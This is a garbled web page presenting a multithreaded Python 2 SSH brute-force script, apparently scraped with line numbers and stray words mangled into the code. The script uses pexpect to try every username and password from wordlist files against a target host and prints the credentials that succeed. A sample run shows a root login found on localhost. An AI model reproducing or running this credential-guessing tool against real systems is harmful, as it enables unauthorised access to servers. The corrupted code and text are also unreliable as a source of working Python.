1 #-*-coding:utf-8-*-2 #Python 2.73 4 Importoptparse,sys,threading5 ImportPexpect6 7PROMPT = ['#','>','/$']8 defssh (host,user,password):9Child = Pexpect.spawn ('ssh%[email protected]%s'%(user,host))Tenret = Child.expect (['(? i) is you sure.*','(? i) Password:', Pexpect. Timeout,pexpect. EOF]) One #Print Child.before A ifRET = =0: -Child.sendline ('Yes') -Child.expect ('[Pp]ssword:') the child.sendline (password) - Try: -Ret0 =Child.expect (PROMPT) - ifRet0inch(0,1,2): + #Print Child.before - Print '[+] already connected 0' + Print '<*> users are:'+User A Print '<*> password is:'+Password at #return Child - except: - Print '[-] connection failed 0, password wrong! ' - elifret = = 1: - child.sendline (password) - Try: inRet1 =Child.expect (PROMPT) - PrintChild.before to ifRet1inch(0,1,2): + #Print Child.before - Print '[+] already connected 1' the Print '<*> users are:'+User * Print '<*> password is:'+Password $ #return ChildPanax Notoginseng except: - Print '[-] Connection failed 1, user or password error! ' the Else: + Print '[-] Connection failed 2' A the defMain (): +Usage ='Usage:%prog <-h host> <-u user.txt> <-d dictionary.txt>' -Parser = Optparse. Optionparser (usage,version='%prog v1.0') $Parser.add_option ('- H', dest='Target_host', type='string', $help='Target host') -Parser.add_option ('- u', dest='User', type='string', -help='SSH User') theParser.add_option ('- D', dest='Dictionary', type='string', -help='Password Dictionaries')Wuyi(Options,args) =Parser.parse_args () the if( notOptions.target_host) | ( notOptions.user) | ( notoptions.dictionary): - PrintParser.usage Wu exit (0) - Else: AboutTarget_host =Options.target_host $Users =Options.user -passwords =options.dictionary -Users =Open (users) -passwords =Open (Passwords) A #i = 0 + forUserinchUsers: theuser = User.strip ('\ r \ n') - #Print user + str (i) $ #i = i + 1 thePasswords.seek (0)#back to the beginning of the password file the forPasswordinchpasswords: thePassword = Password.strip ('\ r \ n') the #Print User -t = Threading. Thread (target=ssh,args=(Target_host,user,password)) in T.start () the the if __name__=='__main__': AboutMain ()
The test run results are:
Python sshconector.py -H 127.0.0.1-u user.txt-3.18.0-kali1-amd64 [+] already connected 1<*> user is: root<*> password is: xxxxxxx[-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error!
Brute force hack ssh with Python